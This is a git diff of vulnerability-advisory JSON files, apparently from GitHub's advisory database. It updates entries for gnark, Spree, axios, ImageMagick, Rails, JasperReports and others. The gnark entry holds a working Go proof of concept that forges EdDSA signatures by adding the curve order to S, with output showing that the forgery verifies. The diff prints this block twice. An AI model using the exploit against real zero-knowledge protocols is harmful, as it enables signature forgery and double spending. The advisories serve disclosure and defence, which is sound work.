diff --git a/advisories/github-reviewed/2025/08/GHSA-856v-8qm2-9wjv/GHSA-856v-8qm2-9wjv.json b/advisories/github-reviewed/2025/08/GHSA-856v-8qm2-9wjv/GHSA-856v-8qm2-9wjv.json index e522c847d9c75..b60206f200d21 100644 --- a/advisories/github-reviewed/2025/08/GHSA-856v-8qm2-9wjv/GHSA-856v-8qm2-9wjv.json +++ b/advisories/github-reviewed/2025/08/GHSA-856v-8qm2-9wjv/GHSA-856v-8qm2-9wjv.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-856v-8qm2-9wjv", - "modified": "2025-12-17T21:30:32Z", + "modified": "2026-02-11T18:31:25Z", "published": "2025-08-07T21:31:08Z", "aliases": [ "CVE-2025-7195" @@ -52,6 +52,26 @@ "type": "WEB", "url": "https://access.redhat.com/security/cve/CVE-2025-7195" }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2026:2572" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2026:0737" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2026:0722" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2026:0718" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2026:0627" + }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2025:23542" @@ -112,6 +132,18 @@ "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2025:19332" }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHEA-2026:0129" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHEA-2025:23478" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHEA-2025:23406" + }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHBA-2024:11569" diff --git a/advisories/github-reviewed/2025/08/GHSA-95v9-hv42-pwrj/GHSA-95v9-hv42-pwrj.json b/advisories/github-reviewed/2025/08/GHSA-95v9-hv42-pwrj/GHSA-95v9-hv42-pwrj.json index 26ff1092c5387..4180ca9d62ba4 100644 --- a/advisories/github-reviewed/2025/08/GHSA-95v9-hv42-pwrj/GHSA-95v9-hv42-pwrj.json +++ b/advisories/github-reviewed/2025/08/GHSA-95v9-hv42-pwrj/GHSA-95v9-hv42-pwrj.json @@ -1,13 +1,13 @@ { "schema_version": "1.4.0", "id": "GHSA-95v9-hv42-pwrj", - "modified": "2025-09-13T04:49:01Z", + "modified": "2026-01-22T16:04:13Z", "published": "2025-08-22T20:58:21Z", "aliases": [ "CVE-2025-57801" ], "summary": "gnark is vulnerable to signature malleability in EdDSA and ECDSA due to missing scalar checks", - "details": "In version before, `sig.s` used without asserting `0 ≤ S < order` in `Verify function` in [eddsa.go](https://github.com/Consensys/gnark/blob/d9a42397979b05f95f21a601fd219b06a8d60b7b/std/signature/eddsa/eddsa.go) and [ecdsa.go](https://github.com/Consensys/gnark/blob/d9a42397979b05f95f21a601fd219b06a8d60b7b/std/signature/ecdsa/ecdsa.go), which will lead to *signature malleability* vulnerability. \n\n\n\n### Impact\n\nSince gnark’s native EdDSA and ECDSA circuits lack essential constraints, multiple distinct witnesses can satisfy the same public inputs. In protocols where nullifiers or anti-replay checks are derived from `(R, S)`, this enables signature malleability and may lead to double spending.\n\n\n\n### Exploitation\n\n```go\npackage main\n\nimport (\n\t\"crypto/rand\"\n\t\"fmt\"\n\t\"math/big\"\n\n\t\"github.com/consensys/gnark-crypto/ecc\"\n\tmimcHash \"github.com/consensys/gnark-crypto/ecc/bn254/fr/mimc\"\n\teddsaCrypto \"github.com/consensys/gnark-crypto/ecc/bn254/twistededwards/eddsa\"\n\n\t\"github.com/consensys/gnark/backend/groth16\"\n\t\"github.com/consensys/gnark/frontend\"\n\t\"github.com/consensys/gnark/frontend/cs/r1cs\"\n\t\"github.com/consensys/gnark/std/algebra/native/twistededwards\"\n\tstdMimc \"github.com/consensys/gnark/std/hash/mimc\"\n\tstdEddsa \"github.com/consensys/gnark/std/signature/eddsa\"\n\n\tte \"github.com/consensys/gnark-crypto/ecc/twistededwards\"\n)\n\n// Circuit\ntype eddsaCircuit struct {\n\tMsg frontend.Variable `gnark:\",public\"`\n\tPk stdEddsa.PublicKey `gnark:\",public\"`\n\tSig stdEddsa.Signature\n}\n\nfunc (c *eddsaCircuit) Define(api frontend.API) error {\n\tcurve, _ := twistededwards.NewEdCurve(api, te.BN254)\n\thasher, _ := stdMimc.NewMiMC(api)\n\tstdEddsa.Verify(curve, c.Sig, c.Msg, c.Pk, &hasher)\n\treturn nil\n}\n\nfunc groupOrder() *big.Int {\n\t// BN254 scalar field order (r)\n\tconst rStr = \"21888242871839275222246405745257275088548364400416034343698204186575808495617\"\n\tn, _ := new(big.Int).SetString(rStr, 10)\n\treturn n\n}\n\n// Forge signature: S → S + order\nfunc forge(sig eddsaCrypto.Signature) eddsaCrypto.Signature {\n\torder := groupOrder()\n\n\tvar forged eddsaCrypto.Signature\n\tforged.R = sig.R\n\n\ts := new(big.Int).SetBytes(sig.S[:])\n\ts.Add(s, order)\n\n\tbuf := make([]byte, 32)\n\tcopy(buf[32-len(s.Bytes()):], s.Bytes())\n\tcopy(forged.S[:], buf)\n\treturn forged\n}\n\nfunc main() {\n\t// Generate key pair\n\tpriv, _ := eddsaCrypto.GenerateKey(rand.Reader)\n\tpub := priv.PublicKey\n\tmsg := []byte(\"multi-witness\")\n\n\t// Create honest signature\n\th := mimcHash.NewMiMC()\n\th.Write(msg)\n\trawSig, _ := priv.Sign(msg, h)\n\n\tvar honest eddsaCrypto.Signature\n\thonest.SetBytes(rawSig)\n\tforged := forge(honest) // S + order\n\n\t// Setup: Compile circuit and do trusted setup\n\tcircuit := &eddsaCircuit{}\n\tccs, err := frontend.Compile(ecc.BN254.ScalarField(), r1cs.NewBuilder, circuit)\n\tif err != nil {\n\t\tfmt.Printf(\"Circuit compilation failed: %v\\n\", err)\n\t\treturn\n\t}\n\n\tpk, vk, err := groth16.Setup(ccs)\n\tif err != nil {\n\t\tfmt.Printf(\"Trusted setup failed: %v\\n\", err)\n\t\treturn\n\t}\n\n\t// Public inputs (same for both witnesses)\n\tvar public eddsaCircuit\n\tpublic.Msg = new(big.Int).SetBytes(msg)\n\tpublic.Pk.Assign(te.BN254, pub.Bytes())\n\n\t// witness 1: honest signature\n\tw1 := public\n\tw1.Sig.Assign(te.BN254, honest.Bytes())\n\n\twitness1, err := frontend.NewWitness(&w1, ecc.BN254.ScalarField())\n\tif err != nil {\n\t\tfmt.Printf(\"Failed to create witness1: %v\\n\", err)\n\t\treturn\n\t}\n\n\tproof1, err := groth16.Prove(ccs, pk, witness1)\n\tif err != nil {\n\t\tfmt.Println(\"Witness 1 (honest): Prover failed!\")\n\t} else {\n\t\tpublicWitness1, err := witness1.Public()\n\t\tif err != nil {\n\t\t\tfmt.Println(\"Witness 1 (honest): Prover failed!\")\n\t\t} else {\n\t\t\terr = groth16.Verify(proof1, vk, publicWitness1)\n\t\t\tif err != nil {\n\t\t\t\tfmt.Println(\"Witness 1 (honest): Prover failed!\")\n\t\t\t} else {\n\t\t\t\tfmt.Println(\"Witness 1 (honest): Prover succeeded!\")\n\t\t\t}\n\t\t}\n\t}\n\n\t// witness 2: forged signature\n\tw2 := public\n\tw2.Sig.Assign(te.BN254, forged.Bytes())\n\tfmt.Println(honest.R.Equal(&forged.R))\n\tfmt.Println(honest.S != forged.S)\n\n\twitness2, err := frontend.NewWitness(&w2, ecc.BN254.ScalarField())\n\tif err != nil {\n\t\tfmt.Printf(\"Failed to create witness2: %v\\n\", err)\n\t\treturn\n\t}\n\n\tproof2, err := groth16.Prove(ccs, pk, witness2)\n\tif err != nil {\n\t\tfmt.Println(\"Witness 2 (forged): Prover failed!\")\n\t} else {\n\t\tpublicWitness2, err := witness2.Public()\n\t\tif err != nil {\n\t\t\tfmt.Println(\"Witness 2 (forged): Prover failed!\")\n\t\t} else {\n\t\t\terr = groth16.Verify(proof2, vk, publicWitness2)\n\t\t\tif err != nil {\n\t\t\t\tfmt.Println(\"Witness 2 (forged): Prover failed!\")\n\t\t\t} else {\n\t\t\t\tfmt.Println(\"Witness 2 (forged): Prover succeeded!\")\n\t\t\t}\n\t\t}\n\t}\n}\n```\n\n### Result\n\n```bash\ngo run multiple_witnesses.go\n\n13:47:33 INF compiling circuit\n13:47:33 INF parsed circuit inputs nbPublic=3 nbSecret=3\n13:47:33 INF building constraint builder nbConstraints=7003\n13:47:33 DBG constraint system solver done nbConstraints=7003 took=2.696334\n13:47:33 DBG prover done acceleration=none backend=groth16 curve=bn254 nbConstraints=7003 took=44.164208\n13:47:33 DBG verifier done backend=groth16 curve=bn254 took=0.983583\nWitness 1 (honest): Prover succeeded!\ntrue\ntrue\n13:47:33 DBG constraint system solver done nbConstraints=7003 took=2.59125\n13:47:33 DBG prover done acceleration=none backend=groth16 curve=bn254 nbConstraints=7003 took=47.168709\n13:47:33 DBG verifier done backend=groth16 curve=bn254 took=0.995833\nWitness 2 (forged): Prover succeeded!\n```\n\n\n\n### Credits\n\nXlabAI Team of Tencent Xuanwu Lab\n\nAtuin Automated Vulnerability Discovery Engine \n\nSJTU Group of Software Security In Progress\n\nProf. Yu Yu's Lab at SJTU", + "details": "In version before, `sig.s` used without asserting `0 ≤ S < order` in `Verify function` in [eddsa.go](https://github.com/Consensys/gnark/blob/d9a42397979b05f95f21a601fd219b06a8d60b7b/std/signature/eddsa/eddsa.go) and [ecdsa.go](https://github.com/Consensys/gnark/blob/d9a42397979b05f95f21a601fd219b06a8d60b7b/std/signature/ecdsa/ecdsa.go), which will lead to *signature malleability* vulnerability. \n\n\n\n### Impact\n\nSince gnark’s native EdDSA and ECDSA circuits lack essential constraints, multiple distinct witnesses can satisfy the same public inputs. In protocols where nullifiers or anti-replay checks are derived from `(R, S)`, this enables signature malleability and may lead to double spending.\n\n\n\n### Exploitation\n\n```go\npackage main\n\nimport (\n\t\"crypto/rand\"\n\t\"fmt\"\n\t\"math/big\"\n\n\t\"github.com/consensys/gnark-crypto/ecc\"\n\tmimcHash \"github.com/consensys/gnark-crypto/ecc/bn254/fr/mimc\"\n\teddsaCrypto \"github.com/consensys/gnark-crypto/ecc/bn254/twistededwards/eddsa\"\n\n\t\"github.com/consensys/gnark/backend/groth16\"\n\t\"github.com/consensys/gnark/frontend\"\n\t\"github.com/consensys/gnark/frontend/cs/r1cs\"\n\t\"github.com/consensys/gnark/std/algebra/native/twistededwards\"\n\tstdMimc \"github.com/consensys/gnark/std/hash/mimc\"\n\tstdEddsa \"github.com/consensys/gnark/std/signature/eddsa\"\n\n\tte \"github.com/consensys/gnark-crypto/ecc/twistededwards\"\n)\n\n// Circuit\ntype eddsaCircuit struct {\n\tMsg frontend.Variable `gnark:\",public\"`\n\tPk stdEddsa.PublicKey `gnark:\",public\"`\n\tSig stdEddsa.Signature\n}\n\nfunc (c *eddsaCircuit) Define(api frontend.API) error {\n\tcurve, _ := twistededwards.NewEdCurve(api, te.BN254)\n\thasher, _ := stdMimc.NewMiMC(api)\n\tstdEddsa.Verify(curve, c.Sig, c.Msg, c.Pk, &hasher)\n\treturn nil\n}\n\nfunc groupOrder() *big.Int {\n\t// BN254 scalar field order (r)\n\tconst rStr = \"21888242871839275222246405745257275088548364400416034343698204186575808495617\"\n\tn, _ := new(big.Int).SetString(rStr, 10)\n\treturn n\n}\n\n// Forge signature: S → S + order\nfunc forge(sig eddsaCrypto.Signature) eddsaCrypto.Signature {\n\torder := groupOrder()\n\n\tvar forged eddsaCrypto.Signature\n\tforged.R = sig.R\n\n\ts := new(big.Int).SetBytes(sig.S[:])\n\ts.Add(s, order)\n\n\tbuf := make([]byte, 32)\n\tcopy(buf[32-len(s.Bytes()):], s.Bytes())\n\tcopy(forged.S[:], buf)\n\treturn forged\n}\n\nfunc main() {\n\t// Generate key pair\n\tpriv, _ := eddsaCrypto.GenerateKey(rand.Reader)\n\tpub := priv.PublicKey\n\tmsg := []byte(\"multi-witness\")\n\n\t// Create honest signature\n\th := mimcHash.NewMiMC()\n\th.Write(msg)\n\trawSig, _ := priv.Sign(msg, h)\n\n\tvar honest eddsaCrypto.Signature\n\thonest.SetBytes(rawSig)\n\tforged := forge(honest) // S + order\n\n\t// Setup: Compile circuit and do trusted setup\n\tcircuit := &eddsaCircuit{}\n\tccs, err := frontend.Compile(ecc.BN254.ScalarField(), r1cs.NewBuilder, circuit)\n\tif err != nil {\n\t\tfmt.Printf(\"Circuit compilation failed: %v\\n\", err)\n\t\treturn\n\t}\n\n\tpk, vk, err := groth16.Setup(ccs)\n\tif err != nil {\n\t\tfmt.Printf(\"Trusted setup failed: %v\\n\", err)\n\t\treturn\n\t}\n\n\t// Public inputs (same for both witnesses)\n\tvar public eddsaCircuit\n\tpublic.Msg = new(big.Int).SetBytes(msg)\n\tpublic.Pk.Assign(te.BN254, pub.Bytes())\n\n\t// witness 1: honest signature\n\tw1 := public\n\tw1.Sig.Assign(te.BN254, honest.Bytes())\n\n\twitness1, err := frontend.NewWitness(&w1, ecc.BN254.ScalarField())\n\tif err != nil {\n\t\tfmt.Printf(\"Failed to create witness1: %v\\n\", err)\n\t\treturn\n\t}\n\n\tproof1, err := groth16.Prove(ccs, pk, witness1)\n\tif err != nil {\n\t\tfmt.Println(\"Witness 1 (honest): Prover failed!\")\n\t} else {\n\t\tpublicWitness1, err := witness1.Public()\n\t\tif err != nil {\n\t\t\tfmt.Println(\"Witness 1 (honest): Prover failed!\")\n\t\t} else {\n\t\t\terr = groth16.Verify(proof1, vk, publicWitness1)\n\t\t\tif err != nil {\n\t\t\t\tfmt.Println(\"Witness 1 (honest): Prover failed!\")\n\t\t\t} else {\n\t\t\t\tfmt.Println(\"Witness 1 (honest): Prover succeeded!\")\n\t\t\t}\n\t\t}\n\t}\n\n\t// witness 2: forged signature\n\tw2 := public\n\tw2.Sig.Assign(te.BN254, forged.Bytes())\n\tfmt.Println(honest.R.Equal(&forged.R))\n\tfmt.Println(honest.S != forged.S)\n\n\twitness2, err := frontend.NewWitness(&w2, ecc.BN254.ScalarField())\n\tif err != nil {\n\t\tfmt.Printf(\"Failed to create witness2: %v\\n\", err)\n\t\treturn\n\t}\n\n\tproof2, err := groth16.Prove(ccs, pk, witness2)\n\tif err != nil {\n\t\tfmt.Println(\"Witness 2 (forged): Prover failed!\")\n\t} else {\n\t\tpublicWitness2, err := witness2.Public()\n\t\tif err != nil {\n\t\t\tfmt.Println(\"Witness 2 (forged): Prover failed!\")\n\t\t} else {\n\t\t\terr = groth16.Verify(proof2, vk, publicWitness2)\n\t\t\tif err != nil {\n\t\t\t\tfmt.Println(\"Witness 2 (forged): Prover failed!\")\n\t\t\t} else {\n\t\t\t\tfmt.Println(\"Witness 2 (forged): Prover succeeded!\")\n\t\t\t}\n\t\t}\n\t}\n}\n```\n\n### Result\n\n```bash\ngo run multiple_witnesses.go\n\n13:47:33 INF compiling circuit\n13:47:33 INF parsed circuit inputs nbPublic=3 nbSecret=3\n13:47:33 INF building constraint builder nbConstraints=7003\n13:47:33 DBG constraint system solver done nbConstraints=7003 took=2.696334\n13:47:33 DBG prover done acceleration=none backend=groth16 curve=bn254 nbConstraints=7003 took=44.164208\n13:47:33 DBG verifier done backend=groth16 curve=bn254 took=0.983583\nWitness 1 (honest): Prover succeeded!\ntrue\ntrue\n13:47:33 DBG constraint system solver done nbConstraints=7003 took=2.59125\n13:47:33 DBG prover done acceleration=none backend=groth16 curve=bn254 nbConstraints=7003 took=47.168709\n13:47:33 DBG verifier done backend=groth16 curve=bn254 took=0.995833\nWitness 2 (forged): Prover succeeded!\n```\n\n\n\n### Credits\n\nXlabAI Team of Tencent Xuanwu Lab\n\nAtuin Automated Vulnerability Discovery Engine \n\nSJTU Group of Software Security In Progress\n\nProf. Yu Yu's Lab at SJTU\n\n### Additional mitigation\n\nThe initial patch added check for `s <= curve order`, omitting the case `s == curve order`. Even though the case is unlikely to be exploitable (requires finding a preimage for `H(R || A || M)`), then it is additionally fixed in https://github.com/Consensys/gnark/pull/1684 (commit https://github.com/Consensys/gnark/commit/69638c5f14b77ae0ebee23e1d8f64f3bb4e22fd5 on master). Thanks for additional reporting by https://github.com/kexinoh.", "severity": [ { "type": "CVSS_V3", diff --git a/advisories/github-reviewed/2025/08/GHSA-97vm-c39p-jr86/GHSA-97vm-c39p-jr86.json b/advisories/github-reviewed/2025/08/GHSA-97vm-c39p-jr86/GHSA-97vm-c39p-jr86.json new file mode 100644 index 0000000000000..45f4cb3de2f40 --- /dev/null +++ b/advisories/github-reviewed/2025/08/GHSA-97vm-c39p-jr86/GHSA-97vm-c39p-jr86.json @@ -0,0 +1,86 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-97vm-c39p-jr86", + "modified": "2026-01-13T20:33:40Z", + "published": "2025-08-13T21:30:30Z", + "aliases": [ + "CVE-2011-10019" + ], + "summary": "Spree has Remote Command Execution vulnerability in search functionality", + "details": "Spreecommerce versions prior to 0.60.2 contains a remote command execution vulnerability in its search functionality. The application fails to properly sanitize input passed via the search[send][] parameter, which is dynamically invoked using Ruby’s send method. This allows attackers to execute arbitrary shell commands on the server without authentication.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" + }, + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "RubyGems", + "name": "spree" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.60.2" + } + ] + } + ] + } + ], + "references": [ + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2011-10019" + }, + { + "type": "WEB", + "url": "https://github.com/orgs/spree" + }, + { + "type": "WEB", + "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/spree/CVE-2011-10019.yml" + }, + { + "type": "PACKAGE", + "url": "https://github.com/spree/spree" + }, + { + "type": "WEB", + "url": "https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/multi/http/spree_search_exec.rb" + }, + { + "type": "WEB", + "url": "https://web.archive.org/web/20111009192436/http://spreecommerce.com/blog/2011/10/05/remote-command-product-group" + }, + { + "type": "WEB", + "url": "https://www.exploit-db.com/exploits/17941" + }, + { + "type": "WEB", + "url": "https://www.vulncheck.com/advisories/spreecommerce-search-parameter-rce" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-1321", + "CWE-94" + ], + "severity": "CRITICAL", + "github_reviewed": true, + "github_reviewed_at": "2026-01-13T20:33:40Z", + "nvd_published_at": "2025-08-13T21:15:29Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/08/GHSA-f9qj-4c5x-cpcw/GHSA-f9qj-4c5x-cpcw.json b/advisories/github-reviewed/2025/08/GHSA-f9qj-4c5x-cpcw/GHSA-f9qj-4c5x-cpcw.json index 01655efd7d46d..e9fca2f536958 100644 --- a/advisories/github-reviewed/2025/08/GHSA-f9qj-4c5x-cpcw/GHSA-f9qj-4c5x-cpcw.json +++ b/advisories/github-reviewed/2025/08/GHSA-f9qj-4c5x-cpcw/GHSA-f9qj-4c5x-cpcw.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-f9qj-4c5x-cpcw", - "modified": "2025-08-21T15:41:42Z", + "modified": "2026-01-29T02:36:18Z", "published": "2025-08-20T15:31:42Z", "aliases": [ "CVE-2025-50864" @@ -56,6 +56,10 @@ "type": "WEB", "url": "https://github.com/elysiajs/elysia-cors/blob/main/src/index.ts" }, + { + "type": "WEB", + "url": "https://github.com/elysiajs/elysia-cors/tree/main" + }, { "type": "WEB", "url": "https://medium.com/@raghavagrawal_23036/cors-bypass-in-popular-opensource-library-ad27fb41e16a" diff --git a/advisories/github-reviewed/2025/08/GHSA-fff3-4rp7-px97/GHSA-fff3-4rp7-px97.json b/advisories/github-reviewed/2025/08/GHSA-fff3-4rp7-px97/GHSA-fff3-4rp7-px97.json index dcd036b425499..b14c8576c7929 100644 --- a/advisories/github-reviewed/2025/08/GHSA-fff3-4rp7-px97/GHSA-fff3-4rp7-px97.json +++ b/advisories/github-reviewed/2025/08/GHSA-fff3-4rp7-px97/GHSA-fff3-4rp7-px97.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-fff3-4rp7-px97", - "modified": "2025-12-20T05:19:59Z", + "modified": "2025-12-31T22:18:05Z", "published": "2025-08-25T15:54:51Z", "aliases": [ "CVE-2025-68469" @@ -9,6 +9,10 @@ "summary": "ImageMagick has a heap-buffer-overflow", "details": "### Summary\nWhile Processing a crafted TIFF file, imagemagick crashes.\n\n### Details\nFollowing is the imagemagick version:\n```\nimagemagick_git/build_26jun23/bin/magick --version\nVersion: ImageMagick 7.1.1-13 (Beta) Q16-HDRI x86_64 56f478940:20230625 https://imagemagick.org\nCopyright: (C) 1999 ImageMagick Studio LLC\nLicense: https://imagemagick.org/script/license.php\nFeatures: Cipher DPC HDRI \nDelegates (built-in): fontconfig freetype jbig jng jpeg lcms lzma pangocairo png tiff webp x xml zlib\nCompiler: gcc (4.2)\n```\n### PoC\nissue can be replicated with following command with provided POC file(sent over email):\n```bash\nmagick poc.tiff /dev/null\n```\n### Impact\nThis can lead to application crash.\n\n### Credits\nPlease give credits to Hardik shah of Vehere (Dawn Treaders team)", "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L" + }, { "type": "CVSS_V4", "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U" diff --git a/advisories/github-reviewed/2025/08/GHSA-g4px-6qhm-hqjm/GHSA-g4px-6qhm-hqjm.json b/advisories/github-reviewed/2025/08/GHSA-g4px-6qhm-hqjm/GHSA-g4px-6qhm-hqjm.json index 9bda14a02b529..60b123e522c57 100644 --- a/advisories/github-reviewed/2025/08/GHSA-g4px-6qhm-hqjm/GHSA-g4px-6qhm-hqjm.json +++ b/advisories/github-reviewed/2025/08/GHSA-g4px-6qhm-hqjm/GHSA-g4px-6qhm-hqjm.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-g4px-6qhm-hqjm", - "modified": "2025-11-05T20:34:29Z", + "modified": "2026-01-23T15:14:24Z", "published": "2025-08-08T12:32:17Z", "aliases": [ "CVE-2025-48913" @@ -74,6 +74,10 @@ } ], "references": [ + { + "type": "WEB", + "url": "https://github.com/mbhatt1/disclosures/security/advisories/GHSA-hv69-h8rg-7jg2" + }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48913" diff --git a/advisories/github-reviewed/2025/08/GHSA-r4mg-4433-c7g3/GHSA-r4mg-4433-c7g3.json b/advisories/github-reviewed/2025/08/GHSA-r4mg-4433-c7g3/GHSA-r4mg-4433-c7g3.json index 4670b36594324..f470a1329ba86 100644 --- a/advisories/github-reviewed/2025/08/GHSA-r4mg-4433-c7g3/GHSA-r4mg-4433-c7g3.json +++ b/advisories/github-reviewed/2025/08/GHSA-r4mg-4433-c7g3/GHSA-r4mg-4433-c7g3.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-r4mg-4433-c7g3", - "modified": "2025-08-21T21:35:37Z", + "modified": "2026-01-31T03:54:44Z", "published": "2025-08-14T00:06:00Z", "aliases": [ "CVE-2025-24293" @@ -78,6 +78,10 @@ "type": "WEB", "url": "https://github.com/rails/rails/security/advisories/GHSA-r4mg-4433-c7g3" }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24293" + }, { "type": "WEB", "url": "https://github.com/rails/rails/commit/1b1adf6ee6ca0f3104fcfce79360b2ec1e06a354" @@ -90,6 +94,10 @@ "type": "WEB", "url": "https://github.com/rails/rails/commit/fb8f3a18c3d97524c0efc29150d1e5f3162fbb13" }, + { + "type": "ADVISORY", + "url": "https://github.com/advisories/GHSA-r4mg-4433-c7g3" + }, { "type": "PACKAGE", "url": "https://github.com/rails/rails" @@ -106,6 +114,6 @@ "severity": "CRITICAL", "github_reviewed": true, "github_reviewed_at": "2025-08-14T00:06:00Z", - "nvd_published_at": null + "nvd_published_at": "2026-01-30T21:15:55Z" } } \ No newline at end of file diff --git a/advisories/github-reviewed/2025/09/GHSA-3wfh-36rx-9537/GHSA-3wfh-36rx-9537.json b/advisories/github-reviewed/2025/09/GHSA-3wfh-36rx-9537/GHSA-3wfh-36rx-9537.json index e6ba0d431d31a..8e912cee7e9c0 100644 --- a/advisories/github-reviewed/2025/09/GHSA-3wfh-36rx-9537/GHSA-3wfh-36rx-9537.json +++ b/advisories/github-reviewed/2025/09/GHSA-3wfh-36rx-9537/GHSA-3wfh-36rx-9537.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-3wfh-36rx-9537", - "modified": "2025-09-22T21:58:53Z", + "modified": "2026-01-23T17:28:00Z", "published": "2025-09-16T22:20:08Z", "aliases": [ "CVE-2025-59432" @@ -46,7 +46,7 @@ }, { "type": "WEB", - "url": "https://github.com/ongres/scram/commit/f04975680d4a67bc84cc6c61bbffd5186223e2e2" + "url": "https://github.com/ongres/scram/commit/e0b0cf99f05406a0d26682c72fcb5728e95124b3" }, { "type": "WEB", diff --git a/advisories/github-reviewed/2025/09/GHSA-4hjh-wcwx-xvwj/GHSA-4hjh-wcwx-xvwj.json b/advisories/github-reviewed/2025/09/GHSA-4hjh-wcwx-xvwj/GHSA-4hjh-wcwx-xvwj.json index 36c8bdd680849..d708a8755d40e 100644 --- a/advisories/github-reviewed/2025/09/GHSA-4hjh-wcwx-xvwj/GHSA-4hjh-wcwx-xvwj.json +++ b/advisories/github-reviewed/2025/09/GHSA-4hjh-wcwx-xvwj/GHSA-4hjh-wcwx-xvwj.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-4hjh-wcwx-xvwj", - "modified": "2025-09-29T19:03:57Z", + "modified": "2026-01-16T14:49:38Z", "published": "2025-09-11T21:07:55Z", "aliases": [ "CVE-2025-58754" @@ -44,7 +44,7 @@ "type": "ECOSYSTEM", "events": [ { - "introduced": "0" + "introduced": "0.28.0" }, { "fixed": "0.30.2" @@ -79,6 +79,10 @@ "type": "WEB", "url": "https://github.com/axios/axios/commit/a1b1d3f073a988601583a604f5f9f5d05a3d0b67" }, + { + "type": "WEB", + "url": "https://github.com/axios/axios/commit/c30252f685e8f4326722de84923fcbc8cf557f06" + }, { "type": "PACKAGE", "url": "https://github.com/axios/axios" diff --git a/advisories/github-reviewed/2025/09/GHSA-7c3f-cg9x-f3gr/GHSA-7c3f-cg9x-f3gr.json b/advisories/github-reviewed/2025/09/GHSA-7c3f-cg9x-f3gr/GHSA-7c3f-cg9x-f3gr.json new file mode 100644 index 0000000000000..ee5a68b7e04be --- /dev/null +++ b/advisories/github-reviewed/2025/09/GHSA-7c3f-cg9x-f3gr/GHSA-7c3f-cg9x-f3gr.json @@ -0,0 +1,81 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-7c3f-cg9x-f3gr", + "modified": "2026-03-09T21:51:00Z", + "published": "2025-09-16T18:31:27Z", + "aliases": [ + "CVE-2025-10492" + ], + "summary": "JasperReports has a Java deserialisation vulnerability", + "details": "A Java deserialisation vulnerability has been discovered in the Jaspersoft Library. Improper handling of externally supplied data may allow attackers to execute arbitrary code remotely on systems that use the affected library.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" + }, + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Maven", + "name": "net.sf.jasperreports:jasperreports" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "7.0.4" + } + ] + } + ] + } + ], + "references": [ + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-10492" + }, + { + "type": "WEB", + "url": "https://github.com/Jaspersoft/jasperreports/issues/542" + }, + { + "type": "WEB", + "url": "https://github.com/Jaspersoft/jasperreports/commit/3541a3e2b1ad8b78388ac505091da75cb652a647" + }, + { + "type": "WEB", + "url": "https://github.com/Jaspersoft/jasperreports/commit/827c2f27c4ca8e2c5b3142d76df9c1c8575f3569" + }, + { + "type": "WEB", + "url": "https://community.jaspersoft.com/advisories/jaspersoft-security-advisory-september-16-2025-jaspersoft-library-cve-2025-10492-r6" + }, + { + "type": "WEB", + "url": "https://community.jaspersoft.com/forums/topic/69926-cve-2025-10492-%E2%80%93-no-fix-available-after-jasperreports-upgrade-community-edition" + }, + { + "type": "PACKAGE", + "url": "https://github.com/Jaspersoft/jasperreports" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-502" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2026-01-09T19:55:24Z", + "nvd_published_at": "2025-09-16T17:15:40Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/09/GHSA-95h4-w6j8-2rp8/GHSA-95h4-w6j8-2rp8.json b/advisories/github-reviewed/2025/09/GHSA-95h4-w6j8-2rp8/GHSA-95h4-w6j8-2rp8.json index ab633d18aaff2..101ea5b4fdcef 100644 --- a/advisories/github-reviewed/2025/09/GHSA-95h4-w6j8-2rp8/GHSA-95h4-w6j8-2rp8.json +++ 